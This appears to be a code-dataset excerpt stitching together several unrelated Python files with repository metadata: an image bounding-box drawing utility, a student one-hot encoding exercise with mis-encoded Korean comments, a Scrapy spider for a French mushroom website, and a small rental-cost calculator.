cv2.waitKey(wait_time)
def imshow_bboxes(img,
bboxes,
colors='green',
top_k=-1,
thickness=1,
show=True,
win_name='',
wait_time=0,
out_file=None):
"""Draw bboxes on an image.
Args:
img (str or ndarray): The image to be displayed.
bboxes (list or ndarray): A list of ndarray of shape (k, 4).
colors (list[str or tuple or Color]): A list of colors.
top_k (int): Plot the first k bboxes only if set positive.
thickness (int): Thickness of lines.
show (bool): Whether to show the image.
win_name (str): The window name.
wait_time (int): Value of waitKey param.
out_file (str, optional): The filename to write the image.
"""
img = imread(img)
if isinstance(bboxes, np.ndarray):
bboxes = [bboxes]
if not isinstance(colors, list):
colors = [colors for _ in range(len(bboxes))]
colors = [color_val(c) for c in colors]
assert len(bboxes) == len(colors)
for i, _bboxes in enumerate(bboxes):
_bboxes = _bboxes.astype(np.int32)
if top_k <= 0:
_top_k = _bboxes.shape[0]
else:
_top_k = min(top_k, _bboxes.shape[0])
for j in range(_top_k):
left_top = (_bboxes[j, 0], _bboxes[j, 1])
right_bottom = (_bboxes[j, 2], _bboxes[j, 3])
cv2.rectangle(
img, left_top, right_bottom, colors[i], thickness=thickness)
if show:
imshow(img, win_name, wait_time)
if out_file is not None:
imwrite(img, out_file)
def imshow_det_bboxes(img,
bboxes,
labels,
class_names=None,
score_thr=0,
bbox_color='green',
text_color='green',
thickness=1,
font_scale=0.5,
show=False,
win_name='',
wait_time=0,
out_file=None):
"""Draw bboxes and class labels (with scores) on an image.
Args:
img (str or ndarray): The image to be displayed.
bboxes (ndarray): Bounding boxes (with scores), shaped (n, 4) or
(n, 5).
labels (ndarray): Labels of bboxes.
class_names (list[str]): Names of each classes.
score_thr (float): Minimum score of bboxes to be shown.
bbox_color (str or tuple or :obj:`Color`): Color of bbox lines.
text_color (str or tuple or :obj:`Color`): Color of texts.
thickness (int): Thickness of lines.
font_scale (float): Font scales of texts.
show (bool): Whether to show the image.
win_name (str): The window name.
wait_time (int): Value of waitKey param.
out_file (str or None): The filename to write the image.
"""
assert bboxes.ndim == 2
assert labels.ndim == 1
assert bboxes.shape[0] == labels.shape[0]
assert bboxes.shape[1] == 4 or bboxes.shape[1] == 5
img = imread(img)
if score_thr > 0:
assert bboxes.shape[1] == 5
scores = bboxes[:, -1]
inds = scores > score_thr
bboxes = bboxes[inds, :]
labels = labels[inds]
bbox_color = color_val(bbox_color)
text_color = color_val(text_color)
for bbox, label in zip(bboxes, labels):
bbox_int = bbox.astype(np.int32)
left_top = (bbox_int[0], bbox_int[1])
right_bottom = (bbox_int[2], bbox_int[3])
cv2.rectangle(
img, left_top, right_bottom, bbox_color, thickness=thickness)
label_text = class_names[
label] if class_names is not None else 'cls {}'.format(label)
if len(bbox) > 4:
label_text += '|{:.02f}'.format(bbox[-1])
cv2.putText(img, label_text, (bbox_int[0], bbox_int[1] - 2),
cv2.FONT_HERSHEY_COMPLEX, font_scale, text_color)
print(show)
if show:
print(1)
imshow(img, win_name, wait_time)
if out_file is not None:
imwrite(img, out_file)
|
[
"407698629@qq.com"
] |
407698629@qq.com
|
54edc40f413a8bdc6c690c94d4dfc6b7b6e9e41f
|
385d9344272180085feea0248417b501b44cbb70
|
/python/3day/lab4_skeleton/lab_4_3/lab_4_3.py
|
1d0de408edec59d94103a7e389290f3364ba0ad1
|
[] |
no_license
|
kyongpiltae/seoul
|
5a5d09c620466c05eac8a145abb10aae8887fb87
|
4d69e7b604fc62760ce428df5826baf0566530cd
|
refs/heads/master
| 2020-12-09T13:11:09.994466 | 2020-02-28T06:39:53 | 2020-02-28T06:39:53 | 233,313,610 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,894 |
py
|
## ์ํ๋ฒณ ์๋ฌธ์์ ๋น์นธ๋ง iuput์ผ๋ก ์ฃผ์ด์ง๋ค ๊ฐ์ ํฉ๋๋ค.
import numpy as np
# ========== EDIT HERE ==========
# TODO : ์ธ์ฝ๋ฉ, ๋์ฝ๋ฉ ํ ๋ ์ธ ์๋ฃํ
alphabet = np.arange(0,27)
I_alphabet = np.identity(26)
abc = "abcdefghijklmn"
char_to_int = dict(((k,v)for k,v in enumerate(abc)))
int_to_char = dict(((k,v)for k,v in enumerate(abc)))
# ===============================
def encoding(data):
######################################
# TODO : encoding ํจ์๋ฅผ ๊ตฌํํ์์ค.
# [Input]
# - data : (type : string)
#
# [output]
# - encoded : (type : array, size of [len(data), len(alphabet)]) encoding result.
# ========== EDIT HERE ==========
rlist = list()
for d in data:
t = ord(d)-ord('a')
if(t < 0):
t= 26
rlist.append(t)
encoded=np.zeros((len(data),len(alphabet)))
index = 0
for r in rlist:
encoded[index,r]=1
index += 1
# ===============================
return encoded
def decoding(data):
######################################
# TODO : decoding ํจ์๋ฅผ ๊ตฌํํ์์ค.
# [Input]
# - data : (type : array, size : [len(data), len(alphabet)])
#
# [output]
# - decoded : (type : string) decoding result.
# ========== EDIT HERE ==========
# ===============================
decoded = []
for row in data:
temp = np.argmax(row)
ch=""
if temp == 26:
ch = " "
else:
ch = chr(temp+ord('a'))
print("ch == " , ch," ", temp)
decoded.append(ch)
return decoded
if __name__ == '__main__':
data = 'data scientist'
encoded = encoding(data)
decoded = decoding(encoded)
print(encoded)
print(decoded)
|
[
"kyongpiltae@gmail.com"
] |
kyongpiltae@gmail.com
|
806772a9631abdebc2f5a013b448bf7605dbfda1
|
a6fd360bd0a6c2cc6e4d0ae6f7f4ffe48384ed0f
|
/data/webscraper/webscraper/spiders/aveyron_spider.py
|
bf1b628d311d6459f1eb03f9daa6c7e368508ee5
|
[] |
no_license
|
psaikko/opi-tuntemaan-sienet
|
b46ba1060db11a8d3a2daa4b867d91227f0ef300
|
bae05bcfbbc6483d18e2473320131e2d3d283428
|
refs/heads/master
| 2020-12-10T11:16:36.076183 | 2020-01-13T16:47:08 | 2020-01-13T16:47:08 | 233,578,816 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,293 |
py
|
import scrapy
from scrapy.utils.url import urljoin_rfc
class AveyronSpider(scrapy.Spider):
name = "aveyron"
download_delay = 2.0
def start_requests(self):
urls = [
'http://champignons.aveyron.free.fr/',
]
for url in urls:
yield scrapy.Request(url=url, callback=self.parse_list)
def parse_list(self, response):
print("Parsed:",response.css("title::text").get())
for match in response.css("div#sidebar_bottom li:not(.group) a"):
#text = match.css("a::text").get()
link = match.attrib["href"]
yield response.follow(link, callback=self.parse_mushroom)
def parse_mushroom(self, response):
imagelinks = response.css("img.photo_champi::attr(src)").getall()
name_fr = response.css("div#main_info h1::text").get()
name_latin = response.css("div#main_info h2::text").get()
if ": " in name_latin: name_latin = name_latin.split(": ")[1]
info = "".join(response.css("div.main_information::text").getall())
yield { 'name_fr' : name_fr,
'name_latin' : name_latin,
'info' : info,
'image_urls' : [str(urljoin_rfc(response.url, relative), "ascii") for relative in imagelinks] }
pass
|
[
"paul.saikko@gmail.com"
] |
paul.saikko@gmail.com
|
f11e5c4fc4eba99f3e4c1bd4a833e5275353cc10
|
afdaa684f1772921276df40838a6c9f1a9510f14
|
/Exercicios/ex015.py
|
550616629b9cc8f3890f81b7d756cf08ade1c56c
|
[
"MIT"
] |
permissive
|
Vitmambro/Python9
|
f45d88121aafa83b8ec20e6c99df2528a5cad256
|
d084e6fd8230b71e4dade87086a411210e131320
|
refs/heads/main
| 2023-04-09T05:39:10.722421 | 2021-04-14T21:35:26 | 2021-04-14T21:35:26 | 358,033,051 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 164 |
py
|
dias = int(input('Dias alugados: '))
km = float(input('Quantos km rodados: '))
pago = (dias * 60) + (km * 0.15)
print('O total a pagar seria: {:.2f}'.format(pago))
|
[
"vitormambro@gmail.com"
] |
vitormambro@gmail.com
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.